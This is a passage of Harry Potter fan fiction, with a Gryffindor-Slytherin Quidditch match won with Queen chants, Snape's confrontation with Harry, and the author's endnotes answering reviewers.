when Ron caught up with him.&nbsp; &#8220;Hey Harry, there&#8217;s something else that&#8217;s I&#8217;ve been thinking about.&#8221;</p>\n\n<p>&#8220;Does it have to do with Figg?&#8221;</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&#8220;What is it then?&#8221;</p>\n\n<p>&#8220;Do you think Hermione&#8217;s still a virgin?&#8221; asked Ron.</p>\n\n<p>Harry stopped walking and looked at him.&nbsp; The thought had never occurred to him.&nbsp; &#8220;Uh, yeah.&nbsp; Why?&nbsp; Did you hear anything?&#8221;</p>\n\n<p>&#8220;Well, she visited Krum last summer.&#8221;</p>\n\n<p>&#8220;With her parents there as chaperones.&nbsp; I&#8217;m sure nothing happened,&#8221; Harry said.</p>\n\n<p>&#8220;Think about it, Harry.&nbsp; Krum went to a school where they teach the Dark Arts.&nbsp; Do you think he wouldn&#8217;t use some spells to keep her parents sleeping while they&#8230;&#8221;</p>\n\n<p>&#8220;Ron, I don&#8217;t think she likes him that way,&#8221; Harry protested.</p>\n\n<p>&#8220;Yeah, so you think he&#8217;s honourable and wouldn&#8217;t try using some spells <i>on her</i> to umm&#8230;&#8221;</p>\n\n<p>&#8220;Why would he do that?&#8221;</p>\n\n<p>&#8220;Why do guys get girls drunk?&nbsp; So they can have their way with them.&nbsp; And why do guys date younger women?&nbsp; Because then they have a power difference.&nbsp; She should never have gone out with him,&#8221; Ron stated flatly.</p>\n\n<p>&#8220;I think she&#8217;d tell us if she needed help.&#8221;</p>\n\n<p>&#8220;You know Hermione.&nbsp; She has a hard time admitting that she&#8217;s wrong.&nbsp; I don&#8217;t think she knows how wrong it is for her to be dating this guy.&nbsp; She&#8217;s totally unhappy with him, but yet she still is going out with him.&nbsp; It&#8217;s just wrong.&nbsp; <i>It&#8217;s just wrong.</i>&#8221; </p>\n\n<p>&#8220;Well, <i>I</i> don&#8217;t think she&#8217;s done anything with him.&nbsp; What do you think?&#8221; Harry asked.</p>\n\n<p>&#8220;He better not have laid a finger on her,&#8221; Ron said darkly.&nbsp; &#8220;If he did anything to her &#8211; I&#8217;ll kill him.&nbsp; I swear I will.&#8221;</p>\n\n<p>Ron started walking angrily toward the castle.&nbsp; Harry just stood there thinking about what his friend had said and hoped that his fears were unfounded.</p>\n\n<p>*</p>\n\n<p>A few days later, during the morning breakfast a large tawny owl dropped a letter in front of Harry.&nbsp; The outside was marked <u>Private</u>.&nbsp; He opened it carefully and held it so that no one else could read it.</p>\n\n<p><i>Hey Harry,</i></p>\n\n<p><i>I need to talk with you.&nbsp; Please meet me behind the greenhouses today at 12:30.&nbsp; I would have enclosed a hair in this letter to prove it was truly me who sent this note, but after Professor Figg&#8217;s class &#8211; I&#8217;m very paranoid.&nbsp; Please come alone and don&#8217;t tell anyone.&nbsp; It&#8217;s very personal.</i></p>\n\n<i>Cho</i>\n\n<p>&#8220;Who&#8217;s that from Harry?&nbsp; Snuffles?&#8221; Ron asked.</p>\n\n<p>&#8220;No and I can&#8217;t say.&nbsp; It&#8217;s personal,&#8221; Harry said as he tucked it into his book bag.</p>\n\n<p>At lunch that day he glanced over at the Ravenclaw table and saw Cho get up and leave.&nbsp; She looked him directly in the eye and cocked her head to the side as if pointing to the door outside.&nbsp; She then ran her fingers through her hair and picked up her book bag.</p>\n\n<p>Harry quickly finished his lunch and excused himself saying that he needed to take a walk and would meet his friends in class.&nbsp; As he approached the greenhouses, Harry&#8217;s stomach felt like it was in his throat.&nbsp; What did Cho want?&nbsp; He found himself hoping that she had changed her mind about him.&nbsp; When he turned the corner and saw her pretty face, his heart skipped a beat.</p>\n\n<p>&#8220;Hey Harry,&#8221; she said as she tossed her hair over her shoulder.</p>\n\n<p>&#8220;Umm, hi Cho,&#8221; he said blinking slowly.</p>\n\n<p>&#8220;Thanks for coming.&nbsp; I&#8217;ve got a problem and was hoping you might help me.&#8221;</p>\n\n<p>&#8220;What&#8217;s up?&#8221;</p>\n\n<p>&#8220;Summers Montague, the new captain of the Slytherin team has been bothering me.&nbsp; He&#8217;s been pressuring me to go out with him.&nbsp; I don&#8217;t want to date anyone right now &#8211; but I&#8217;d never in a million years want to date him.&#8221;</p>\n\n<p><i>Nope, she hasn&#8217;t changed her mind at all,</i> he thought disappointedly. </p>\n\n<p>&#8220;What do you want me to do?&#8221; Harry asked.</p>\n\n<p>&#8220;You&#8217;re playing against them this Saturday.&nbsp; I was hoping you might say something to him.&nbsp; Maybe teach him a lesson?&#8221; she said slyly.</p>\n\n<p>Harry nodded slowly.&nbsp; &#8220;I think the Weasley twins might be persuaded to help me out on this.&#8221;</p>\n\n<p>Cho looked relieved.</p>\n\n<p>&#8220;Thanks Harry.&nbsp; I knew you&#8217;d understand,&#8221; she said as she squeezed his shoulder.</p>\n\n<p>He smiled wistfully at her.&nbsp; &#8220;Anytime.&#8221;&nbsp; </p>\n\n<p>*</p>\n\n<p>Harry had followed Dumbledore&#8217;s advice and had asked Madam Pomfrey for a potion for a dreamless night&#8217;s sleep.&nbsp; He desperately wanted to avoid witnessing Voldemort&#8217;s unholy ceremony.&nbsp; He was glad that he had taken that precaution as Friday morning he awoke with his scar throbbing dully.&nbsp; He wasn&#8217;t sure what exactly it portended, but he was glad that he hadn&#8217;t experienced any visions associated with it.</p>\n\n<p>Saturday morning came and it was overcast, but not storming.&nbsp; Harry was glad for that.&nbsp; He hated playing Quidditch in lousy weather.&nbsp; Today promised to be cool and crisp.&nbsp; He was excited to be captain and try out new strategies on the team he hated the most:&nbsp; Slytherin.</p>\n\n<p>Eating breakfast before the matches was always difficult for Harry.&nbsp; His nerves had always gotten the best of him and even though he knew he should eat a good meal for energy, he had a hard time getting anything down.</p>\n\n<p>&#8220;Harry, do you know why the Malfoys and others like them hate us Muggle born witches and wizards so much?&#8221; Hermione asked.</p>\n\n<p>&#8220;I thought it was because they&#8217;re racist,&#8221; he answered.</p>\n\n<p>&#8220;That&#8217;s part of it. &nbsp;But what is the root of racism?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&nbsp; Hatred?&#8221;</p>\n\n<p>&#8220;Fear.&nbsp; Fear of losing power.&nbsp; Fear of change.&nbsp; Fear of something different from themselves.&nbsp; That&#8217;s what oppression is all about.&nbsp;&nbsp;&nbsp; They hate us because they fear us,&#8221; she answered proudly.</p>\n\n<p>&#8220;I don&#8217;t get it,&#8221; said Harry.&nbsp; &#8220;Why would they fear us?&#8221;</p>\n\n<p>&#8220;We&#8217;re from a different culture and we will question their social structure.&nbsp; We represent a threat to the status quo.&nbsp; We&#8217;re subversive,&#8221; she giggled.&nbsp; &#8220;I&#8217;ve never thought of myself as being subversive before.&nbsp; But I kinda like it.&#8221;</p>\n\n<p>&#8220;I don&#8217;t understand what you&#8217;re talking about,&#8221; said Ron.</p>\n\n<p>&#8220;I heard someone once say that the Beatles had more influence with the fall of Communism than did the arms race with the Americans.&#8221;</p>\n\n<p>&#8220;The bugs?&#8221; Ron asked quizzically.</p>\n\n<p>Hermione rolled her eyes.&nbsp; &#8220;Next thing you&#8217;re going to tell me is that you&#8217;ve never heard of Princess Diana.&#8221;</p>\n\n<p>&#8220;Who?&#8221;</p>\n\n<p>&#8220;Oh honestly, Ron,&#8221; Hermione said exasperated.&nbsp; &#8220;Next summer you and Ginny need to come to <i>my</i> house for a week.&nbsp; I&#8217;ll give both of you a crash course on Muggle popular culture.&nbsp; Believe me you need it desperately.&#8221;</p>\n\n<p>Then she turned back to Harry.&nbsp; &#8220;I think we can have just as big an impact on changing the Wizarding World by introducing Muggle concepts.&nbsp; We can start with some pop culture.&#8221;</p>\n\n<p>&#8220;How?&#8221; he asked.</p>\n\n<p>&#8220;Well, we can&#8217;t play music here because the enchantments would interfere with our stereos.&nbsp; But we can always sing,&#8221; she said conspiratorily.</p>\n\n<p>&#8220;Sing?&nbsp; I can&#8217;t sing.&nbsp; I&#8217;d sound like Trevor.&nbsp; Besides my voice is changing,&#8221; Harry protested.</p>\n\n<p>&#8220;You don&#8217;t have to sing, Harry.&nbsp; Leave that to me,&#8221; she said smugly.</p>\n\n<p>Hermione turned to Dean and started whispering in his ear.&nbsp; He looked at her, smiled and nodded enthusiastically.</p>\n\n<p>*</p>\n\n<p>As the team was gathered around the locker room all dressed in their uniforms, Harry rose to speak.</p>\n\n<p>&#8220;Okay, team we&#8217;re about to take to the field.&nbsp; I&#8217;m not sure what I&#8217;m supposed to say as the captain other than I think we look sharper than I&#8217;ve ever seen us.&nbsp; Let&#8217;s just go out there and show them what we&#8217;ve done in practice and I&#8217;m sure we&#8217;ll win.&nbsp; And, uh, Dean had something he wanted to say.&#8221;</p>\n\n<p>All eyes turned to the reserve Keeper.</p>\n\n<p>&#8220;We are the best team.&nbsp; The whole school is going to know it after today.&nbsp; We&#8217;ve got the best players, the best game winning strategies and the best fans.&nbsp; Today, since I can&#8217;t be in the air with you &#8211; I&#8217;m going to be leading some cheers in the stands.&nbsp; It&#8217;ll be loud, it&#8217;ll be boisterous and most of all it&#8217;ll be fun.&nbsp; The other houses won&#8217;t know how to react, but you&#8217;ll know that it means that every Gryffindor is pulling for you.&nbsp; Go Gryffindor!&#8221;</p>\n\n<p>They left the locker room full of nervous energy and excitement.&nbsp; The teams met each other at the Quidditch pitch and sized each other up.&nbsp; The Slytherins had added a few new players, but they had kept with their practice of brawn over brains.&nbsp; The only female on their team was Millicent Bulstrode.&nbsp; She was easily larger than any of the Gryffindor players.&nbsp; She had a square head and body and scowled at Harry and Ron.&nbsp; </p>\n\n<p>Harry went to shake hands with the captain of the Slytherin team, Summers Montague.&nbsp; They gripped each other&#8217;s hands and exchanged a look of contempt with each other.&nbsp; Fred and George stood on either side of Harry and looked like big burly red-haired bookends.&nbsp; The Weasley twins growled menacingly at Montague.</p>\n\n<p>&#8220;The first match of the school year is about to begin.&nbsp; <i>Gryffindor versus Slytherin!</i>&#8221; Lee Jordon announced.&nbsp; &#8220;The teams are now taking to the air and the captains are exchanging a handshake.&#8221;</p>\n\n<p>&#8220;Prepare to die, Potter,&#8221; Montague hissed under his breath.</p>\n\n<p>&#8220;It&#8217;ll take more than a game of Quidditch to finish me off, Montague.&nbsp; You are warned to leave Cho Chang alone.&nbsp; She&#8217;s not interested in you.&#8221;</p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <p>&#8220;She&#8217;s not yours, Potter!&#8221;</p>\n\n<p>&#8220;That&#8217;s right.&nbsp; She doesn&#8217;t <i>belong</i> to anyone.&nbsp; So just sod off!&#8221; Harry snarled as he released his grip.</p>\n\n<p>&#8220;Captains, please mount your brooms!&nbsp; It&#8217;s been a long time since we&#8217;ve had a game, make it a nice clean one!&#8221; demanded Madam Hooch.</p>\n\n<p>Ron placed the snakehead mask on his face and immediately the Slytherin team started pointing at him and arguing.&nbsp; Montague flew towards Madam Hooch.</p>\n\n<p>&#8220;What the Hell is that?&nbsp; I want to lodge a protest.&nbsp; Their Keeper is wearing an unapproved uniform.&#8221;</p>\n\n<p>Hooch motioned Ron and Harry to come forward.</p>\n\n<p>&#8220;What do you have to say for yourselves?&#8221; she asked.</p>\n\n<p>&#8220;It&#8217;s protective gear, Madam Hooch,&#8221; said Ron.&nbsp; There&#8217;s nothing in the rules that says a Keeper cannot wear a mask to protect themselves.&#8221;</p>\n\n<p>&#8220;We double checked the rules,&#8221; said Harry.</p>\n\n<p>&#8220;Yes, well it is unusual, but I suppose it&#8217;s not violating anything.&nbsp; You can keep it.&nbsp; Let&#8217;s start the game already!&nbsp; Mount your brooms!&#8221; she commanded.</p>\n\n<p>&#8220;After a quick conference, it seems that the game will begin,&#8221; announced Jordan.&nbsp; &#8220;The Gryffindor Keeper appears to be wearing a green mask of some kind.&nbsp; I can&#8217;t tell the design from here, but the Slytherins don&#8217;t seem pleased at all.&nbsp; Madam Hooch has just released the Bludgers, now the Golden Snitch.&nbsp; </p>\n\n<p>&#8220;And now the Quaffle is up.&nbsp; <i>Yes!</i>&nbsp; Angelina Johnson a seventh year Gryffindor has gotten possession of the Quaffle.&nbsp; She&#8217;s zooming towards the goal and Oh!&nbsp; Saved by Keeper Bulstrode.&nbsp; She passes the Quaffle to &#8211; oh and intercepted by Spinnet who passes to Bell who SCORES!&nbsp; Gryffindor is the first to score.&nbsp; Now Slytherin is in possession.&nbsp; Montague with the Quaffle.&nbsp; He&#8217;s going towards the scoring area.&#8221;</p>\n\n<p>Montague flew towards the hoops and found not only Ron defending the hoops, but Angelina Johnson and Alicia Spinnet flying nearby.&nbsp; As he tried to get a clear scoring position, the Chasers would block him.&nbsp; </p>\n\n<p>Then a Bludger grazed his left arm.</p>\n\n<p>Montague turned to scowl at Fred Weasley as Katie Bell stripped his hands of the Quaffle.</p>\n\n<p>&#8220;Bell steals the Quaffle!&nbsp; She streaks toward the Slytherin end and passes to Johnson who SCORES!&nbsp; Twenty to Zero Gryffindor.&nbsp; Montague once again has possession of the Quaffle.&nbsp; He looks determined to score this time.&nbsp; The Gryffindor chasers are again in a formation blocking him.&nbsp; He passes to Warrington, who shoots and &#8211; stopped by Ron Weasley, Gryffindor&#8217;s new Keeper.</p>\n\n<p>&#8220;Angelina Johnson has the Quaffle.&nbsp; She dodges a Bludger.&nbsp; Passes to Bell who passes to Spinnet and SCORES!&nbsp; Thirty to Zero, Gryffindor!&nbsp; No sign of the Golden Snitch yet, but this game looks like skill is outdistancing brawn.&#8221;</p>\n\n<p>&#8220;Watch it, Jordan,&#8221; snapped Professor McGonagall.</p>\n\n<p>&#8220;Sorry, Professor.&nbsp; Slytherin&#8217;s captain once again has the Quaffle.&nbsp; He&#8217;s hoping to break his streak of bad luck and score this time.&nbsp; He&#8217;s flying around trying to find an opening&#8230;&#8221;</p>\n\n<p>Then Harry started to hear a commotion coming from the stands.&nbsp; Hermione and Dean were leading the section in a new cheer.&nbsp; The students were stomping and clapping.&nbsp; The sound started low and then it started to grow.</p>\n\n<p>Boom, Boom, Crash.</p>\n\n<p>Boom, Boom, Crash.</p>\n\n<p>&#8220;We will, we will rock you!&#8221;</p>\n\n<p>BOOM, BOOM, CRASH.</p>\n\n<p>BOOM, BOOM, CRASH.</p>\n\n<p>&#8220;WE WILL, WE WILL ROCK YOU!&#8221;</p>\n\n<p>Harry was glad that Dean had warned his team about the cheer.&nbsp; None of them really had known what to expect, but the Slytherins were caught totally off guard.&nbsp; Montague was so startled that he lost his grip on the Quaffle and Angelina Johnson stripped it from him and headed towards the other end to score.&nbsp; Fred then pelted a Bludger in Montague&#8217;s direction.&nbsp; </p>\n\n<p>&#8220;Leave Chang alone!&#8221; Fred shouted.</p>\n\n<p>The Slytherin captain swerved and avoided being hit.&nbsp; But the Bludger zoomed on straight towards George who used a backhanded swat and the iron ball hit Montague square in the ribs.</p>\n\n<p>&#8220;Take that Summers!&#8221; George yelled.</p>\n\n<p>Draco Malfoy had jumped at the booming sounds from the stands and almost lost hold of his broomstick.&nbsp; Harry had a knowing grin on his face.&nbsp; <i>Hermione was right.&nbsp; We are subversive,</i> he thought.</p>\n\n<p>Then he saw the Golden Snitch glinting four feet above the ground.&nbsp; He dove quickly while Malfoy was still staring at the Gryffindor fans stomping and clapping in the stands.&nbsp; </p>\n\n<p>&#8220;Potter has started to dive.&nbsp; He&#8217;s after the Golden Snitch.&nbsp; This game could be over soon.&nbsp; Now Malfoy&#8217;s woken up and started following.&nbsp; Toooo late!&nbsp; Harry Potter got the snitch!&nbsp; Gryffindor wins the game 190-0.&nbsp; I don&#8217;t remember the last shut out we&#8217;ve seen.&nbsp; This was an incredible game.&#8221;</p>\n\n<p>The stadium was filled with sounds.&nbsp; Boos coming from the Slytherin section and cheers from all the other sections.&nbsp; Harry proudly thrust the Golden Snitch upwards for all to see and to the approving roar of the Gryffindor fans.&nbsp;&nbsp; </p>\n\n<p>&#8220;We Are the Champions!&nbsp; We Are the Champions!&#8221; Hermione and Dean were singing loudly and waving their arms to get others to join in.</p>\n\n<p>The Slytherin team left the field without congratulating the Gryffindors.</p>\n\n<p>Harry chuckled inwardly in wondering what Malfoy was thinking of this display of Muggle enthusiasm.&nbsp; Then he was swarmed by his teammates who attacked him with bear hugs and pats on the back.</p>\n\n<p>Later as Harry was leaving the Quidditch pitch, he heard a familiar voice call to him. </p>\n\n<p>&#8220;Potter.&nbsp; What was that display today?&#8221; Snape snarled.&nbsp; Professor McGonagall was standing near him and had a shocked look on her face.</p>\n\n<p>&#8220;In the air or in the stands?&#8221; Harry asked.</p>\n\n<p>&#8220;Both!&nbsp; I&#8217;ve never heard such a racket before.&#8221;</p>\n\n<p>&#8220;It was just a little demonstration of house spirit.&nbsp; It&#8217;s a common chant used at Muggle sporting events.&nbsp; It&#8217;s from a song by the rock band Queen.&#8221;</p>\n\n<p>&#8220;That&#8217;s been done before?&#8221; Professor McGonagall said sounding surprised.</p>\n\n<p>&#8220;It&#8217;s done all the time,&#8221; Harry smiled.&nbsp; &#8220;Some of my classmates thought it might give us a little boost.&nbsp; It did raise my spirits a bit.&#8221;</p>\n\n<p>&#8220;Yes, well I guess it doesn&#8217;t break any Quidditch rules, although it is <i>highly unusual</i>,&#8221; she said.</p>\n\n<p>&#8220;Yes, well congratulations on your win,&#8221; Snape said with his eyes narrowing.&nbsp; &#8220;I&#8217;d suggest your housemates not get too excited.&nbsp; There&#8217;s still the rest of the season to go.&#8221;</p>\n\n<p>Harry looked up at the stands and saw the entire Gryffindor section were swaying and singing &#8220;We are the Champions&#8221; to the utter dismay of the Slytherins who were leaving the stands and sneering.</p>\n\n<p>&#8220;Potter, may I have a word with you?&#8221; Snape said sharply as Professor McGonagall walked towards the castle.</p>\n\n<p>Harry swallowed hard and nodded.</p>\n\n<p>&#8220;I don&#8217;t know what you think you&#8217;re playing at, but that mask was ill advised.&#8221;</p>\n\n<p>&#8220;Why?&#8221; Harry demanded.&nbsp; &#8220;Because it reminded people of the evil that&#8217;s out there, waiting for them?&#8221;</p>\n\n<p>&#8220;No, you little snot.&nbsp; Because in trying to compare yourself to the Dark Lord, even in jest, you make him seem less fearful.&nbsp; That skews reality and that&#8217;ll prove to be dangerous later when the students have to decide where to cast their allegiance.&nbsp; Potter, you shouldn&#8217;t be trying to intimidate others in this school.&nbsp; They&#8217;ll wind up resenting you.&nbsp; That&#8217;ll harm everything we&#8217;ve been working towards.&#8221;</p>\n\n<p>&#8220;That&#8217;s just rich,&#8221; Harry spat.&nbsp; &#8220;You&#8217;ve done everything you can since my first day here to intimidate the hell out of me.&#8221;</p>\n\n<p>&#8220;Do you know why?&#8221; Snape sneered.</p>\n\n<p>&#8220;You seem to think that I was raised as Prince Harry and not just Plain Harry.&nbsp; As if I were pampered and came here expecting everything on a silver platter.&nbsp; Do you even <i>know</i> what my home life was like?&nbsp; I grew up with an aunt and uncle who treated me either as if either I didn&#8217;t exist, as if I was their whipping boy or that I was the family embarrassment.&nbsp; I slept in a cupboard under the stairs while my cousin Dudley had two bedrooms.&nbsp; He was given <i>anything</i> that he wanted and was never once reprimanded for beating me up.&nbsp; The only thing that they ever bought for me were these glasses.&nbsp; Otherwise, I&#8217;ve only gotten Dudley&#8217;s cast offs.&nbsp; I learned early on that nothing I ever did would please my aunt and uncle.&nbsp; So I stopped trying to earn their approval because it would never happen.&nbsp; I see the same thing with you.&nbsp; It doesn&#8217;t matter what I do or say, because you have it in for me.&nbsp; So, I&#8217;ll just have to go on without your approval like I&#8217;ve survived without any respect or approval from my own flesh and blood.&#8221;</p>\n\n<p>&#8220;Are you quite through yet?&#8221;</p>\n\n<p>&#8220;No!&#8221; said Harry getting four years of pent up frustration out.&nbsp; &#8220;I also didn&#8217;t know that I was a wizard or what happened to my parents until Hagrid showed up and personally handed me my acceptance letter.&nbsp; My uncle kept destroying the dozens of letters that had been sent.&nbsp; They told me that my parents had died in a car crash.&nbsp; My aunt and uncle could have raised me as if I were another son.&nbsp; And my cousin could have been like a brother to me, but instead they tried to make my life as miserable as possible.&nbsp; They thought they could beat the magic out of me.&nbsp; Hagrid had to tell me what happened to my parents and why I have this scar.&nbsp; Then I come to Hogwarts, where for the first time in my life I wasn&#8217;t being bullied and ostracized by Dudley&#8217;s gang.&nbsp; And then <i>you</i> treat me as bad or worse than my own family.&nbsp; You purposefully embarrassed me on my first day of class.&nbsp; <i>Just for sport.</i>&nbsp; I know we&#8217;re supposed to be on the same side in this war, but that doesn&#8217;t mean I&#8217;ll be coming to you for advice.&#8221;</p>\n\n<p>&#8220;<i>Now</i> can I say something?&#8221; Snape said coldly.</p>\n\n<p>Harry thought of telling Snape off for his horrible treatment of Hermione and Neville in his class, but bit his tongue instead.&nbsp; He knew he was skating dangerously close to the line where if he crossed it Snape would explode.&nbsp; Harry could already see the veins in Snape&#8217;s temples throb dangerously.&nbsp; If he brought up other students, Snape would see that as him being disrespectful of his teaching methods and that would clearly cross the line.</p>\n\n<p>Harry locked his eyes with Snape and slowly nodded assent.</p>\n\n<p>&#8220;I&#8217;ve been trying to make sure that you receive a balanced education.&nbsp; The rest of the faculty and wizarding world seemed to have been enamored by the sheer recitation of your name.&nbsp; I didn&#8217;t want that going to your head.&nbsp; To go from the Dursley&#8217;s to complete adoration would be very destructive.&nbsp; I wanted to temper that.&nbsp; So I deliberately treated you harshly.&nbsp; Coddling won&#8217;t help you survive against Voldemort.&#8221;</p>\n\n<p>&#8220;That is your idea of balanced?&nbsp; Am I supposed to thank you for character building or something?&#8221;</p>\n\n<p>&#8220;I don&#8217;t expect any thanks, just a little recognition on your part that <i>we are not enemies.</i>&nbsp; And that Slytherin House is not the enemy either.&nbsp; Many of those children are going to be approached soon to join Voldemort&#8217;s forces.&nbsp; It will be up to all of us to try and give them the desire and strength to turn him down.&nbsp; Pranks like that mask will only serve to harm our efforts.&nbsp; I suggest that you get rid of that thing.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Harry agreed.&nbsp; &#8220;I&#8217;ll take care of that.&nbsp; Anything else?&#8221;</p>\n\n<p>&#8220;Those songs and that chanting&#8230;&#8221;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Harry gave a rueful smile as he shook his head.&nbsp; &#8220;I think my house really got into that.&nbsp; It might be hard to put the genie back in the bottle.&#8221;</p>\n\n<p>&#8220;Yes, music does have it&#8217;s own magic.&nbsp; Very well, that&#8217;s all Potter.&nbsp; And you played a good game out there.&#8221;</p>\n\n<p>&#8220;Thank you, Professor Snape,&#8221; Harry said as he inwardly marveled at his telling off Snape and not losing any house points.</p>\n\n<p>Harry tried to get the uncomfortable feeling out of his stomach as he went back to the Gryffindor common room that was wildly celebrating the victory.&nbsp; It was another party that went on for hours and Harry was happy to see Hermione and Dean revelling in their new roles as head cheerleaders.&nbsp; He hadn&#8217;t seen her laugh and smile that much in months and he was glad to have had some small part in that.&nbsp; Neville also seemed to have found his smile again after a week of looking sullen and depressed.&nbsp; Fred and George were the centre of attention as they showed off their new wares and told uproarious jokes.&nbsp; Everyone seemed excited, except for Harry.&nbsp; His interaction with Snape that day kept coming back to him and served to temper his own enthusiasm.</p>\n\n<p>*</p>\n\n<p>The next day Harry groaned when he saw the morning paper.&nbsp; The headline screamed, &#8220;Gryffindor House the new breeding ground for Death Eater Activity?&#8221;&nbsp; The sports writer that covered the Gryffindor/Slytherin contest made accusations regarding the snake mask and &#8220;We Will Rock You&#8221; as signals to others in the school.&nbsp; It implied that you were to join with Harry Potter or be destroyed.</p>\n\n<p>&#8220;Obviously that reporter has never heard of Queen,&#8221; Dean groused.&nbsp; &#8220;I mean, how do they come up with thinking that &#8216;We Will Rock You&#8217; is a threat?&nbsp; And obviously they&#8217;ve never seen hockey.&#8221;</p>\n\n<p>&#8220;Dean, I knew that mask was asking for it,&#8221; Harry muttered.</p>\n\n<p>&#8220;I&#8217;m glad I led the crowd in &#8216;We are the Champions.&#8217;&nbsp; I almost had them sing, &#8216;Another One Bites the Dust.&#8217;&#8221;</p>\n\n<p>Harry closed his eyes.&nbsp; &#8220;Thank you Dean for that small favour.&#8221;</p>\n\n<p>&#8220;What do you care Harry?&nbsp; This stuff in the paper is nonsense and everyone with half a brain can tell that.&#8221;</p>\n\n<p>&#8220;That&#8217;s easy for you to say Dean,&#8221; Harry replied.&nbsp; &#8220;You&#8217;re not famous.&nbsp; I&#8217;m known for something that happened when I was still a baby and have very little memory of.&nbsp; Most people in the wizarding world think they know me, but they&#8217;ve never even met me.&nbsp; So now, I&#8217;ve got this strange Dark Lord in training myth being perpetrated in the paper.&nbsp; I can&#8217;t do anything about it, but I don&#8217;t want to do anything to feed that fire either.&nbsp; We have to get rid of those masks.&#8221;</p>\n\n<p>**</p>\n\n<p>Copious Endnotes:&nbsp; I want to take this time to comment on a few of my dramatic choices.&nbsp; The first is the number of prisoners in Azkaban.&nbsp; This is one of the many murky areas in canon.&nbsp; In trying to figure out how populated the wizarding prison actually is, I had to use the graveyard scene and what Sirius had said in GoF as guides.&nbsp; There were some gaps mentioned in the graveyard, but the exact size and numbers are imprecise.&nbsp; Plus we know that there have been deaths of prisoners at Azkaban.&nbsp; So I interpreted that to mean that there were not many Death Eaters left behind bars.&nbsp; I only created one Death Eater, who I think was the Fourth Man in the Pensieve scene.</p>\n\n<p>I want to let everyone know that I&#8217;m not going to subject you to any more scenes with Voldemort and Lilith.&nbsp; I couldn&#8217;t force myself to wrap my mind any farther into that area than what I did.&nbsp; So you can be grateful for that.d</p>\n\n<p>When this story was first published on Schnoogle, there were several reviewers that had commented about my using Queen&#8217;s &#8220;We Will Rock You.&#8221;&nbsp; It reminded them of a scene from the movie &#8220;A Knight&#8217;s Tale&#8221; and wondered if I was paying homage to it.&nbsp; The answer to that is no, because not only had I not seen the movie at that time, but I hadn&#8217;t even heard of it when I wrote this chapter.&nbsp; I had merely been trying to be original and subversive &#8211; just trying to mix Wizarding with Muggle culture.&nbsp; As it turns out someone else liked the concept of juxtaposing pop culture with medieval sport.&nbsp; Oh well, c&#8217;est la vie.&nbsp;&nbsp;&nbsp; On another note, &#8220;Another One Bites the Dust&#8221; was a very popular song that was chanted at sporting events my last year in high school, but I thought it would be realllly creepy for the Gryffindors to use that song given that it might be something that could be Voldemort&#8217;s theme song (if of course he knew how to Rock &#8216;n Roll which I am sure He Does Not.)</p>\n\n<p>As always I&#8217;d like to thank those who have taken the time to review my writing and also to respond.&nbsp; Thanks go to:&nbsp; catark, Chelsea, E. C. R. Potter, FlipSwimmer215, Michelle, NAPPA, SamanthaMarie, Slane, star429.&nbsp; In answer to a question by E.C.R. Potter, I combined the first two chapters that I had posted separately on Schnoogle &#8211; which does make my first chapter here quite long.&nbsp; The reason was in retrospect something that allows the reader to realize that I&#8217;m not going to spend the whole story being told through an OC&#8217;s POV.&nbsp; So there will be only 17 chapters here, where on Schnoogle it is 18.&nbsp; I am currently going through and reprinting the chapters on hard copy and cleaning up a few syntax errors, spelling goofs, since I have the opportunity to try and fix things.&nbsp; That&#8217;s why I am not uploading everything all at once.</p>\n\n<p>NAPPA asked about Harry fumbling with the chain.&nbsp; Well, having your hands near the nape of a young woman&#8217;s neck might cause a bit of unease don&#8217;t you think?&nbsp; Especially when everyone is watching you.&nbsp; Yes, that is indeed part of the subtle buildup to a romantic relationship between the two.&nbsp;&nbsp; I also don&#8217;t hate Ron.&nbsp; I happen to think Harry is a much better match for Hermione than Ron is, but don&#8217;t feel that I need to paint Ron in a negative way in order to accomplish that.&nbsp; Here&#8217;s hoping that you like the characterization that I do give to Ron, because it is &#8216;quite special.&#8217;&nbsp; And thank you so much for your compliments.&nbsp; It means a lot to me.</p>\n\n<p>SamanthaMarie brought up another murky canon issue, namely the age of some of the students.&nbsp; There are a number of areas that JKR isn&#8217;t explicit about and this is one of them.&nbsp; According to canon in GoF, Angelina turned seventeen a month earlier so she was old enough to enter into the tournament.&nbsp; Trying to figure out is she is 6<sup>th</sup> or 7<sup>th</sup> year is complicated by the fact that Cedric Diggory was seventeen and was in his sixth year.&nbsp; Diggory&#8217;s year was established in PoA when it was stated that he was in his fifth year.&nbsp; So, different fanfic writers will make different choices as to whether Angelina was in her sixth or seventh year in GoF.&nbsp; I tend to think she was in her sixth year, because it seemed like Harry was surprised to learn that she was old enough to enter.&nbsp; I would have expected that all the seventh year students would have entered the contest.&nbsp; ::Shrugs::&nbsp; Those were the reasons I had for deciding to make Angelina Johnson a seventh year in my story.&nbsp;&nbsp; Same goes for Katie Bell and Alicia Spinnet, we don&#8217;t know for certain how old they are, but you can assume that they are younger than Angelina because presumably they would have entered the tournament otherwise.&nbsp; Another mystery with ages in canon is that we are unsure as to whether Hermione is two months younger than Harry or ten months older.&nbsp; I tend to think she&#8217;s younger, but that&#8217;s just a personal preference on my part since I was the youngest in my graduating class and had no difficulty competing with anyone academically.</p>\n\n<p>Chelsea asked it I&#8217;m Unitarian Universalist.&nbsp; Not really, but I do like many of the tenets of that faith.&nbsp; I consider myself to be more spiritual than religious and that comes after years of independent comparative religious study.&nbsp; I have found that I prefer disorganized religion to organized religion.</p>\n\n<p>Anyway, I&#8217;m glad to hear that my readers appreciate that I&#8217;m addressing both Viktor and Neville.&nbsp; Just wait until you see what I have in store for them!&nbsp; </p>\n\n<p>I love Greek Mythology and &#8220;D&#8217;Aulaire&#8217;s Book of Greek Myths&#8221; is one of my all time favourite books on the subject.&nbsp; I love the illustrations and the how the stories flow lyrically from one to another.&nbsp; SamanthaMarie also loves the quote I included from Margaret Mead, I think it describes Life In General.&nbsp; I wonder if you&#8217;ll catch a quote from Abigail Adams that I sneak into an upcoming chapter.&nbsp; Because, well, I love inserting little Easter Eggs for the attentive reader.</p>\n\n<p>Speaking of which, for those interested in such things &#8211; try looking up the meanings for the names of the characters in this chapter.&nbsp; They have special significance.&nbsp; One of my beta readers thought that Summers was a &#8220;cheery name for a Slytherin.&#8221;&nbsp; That&#8217;s 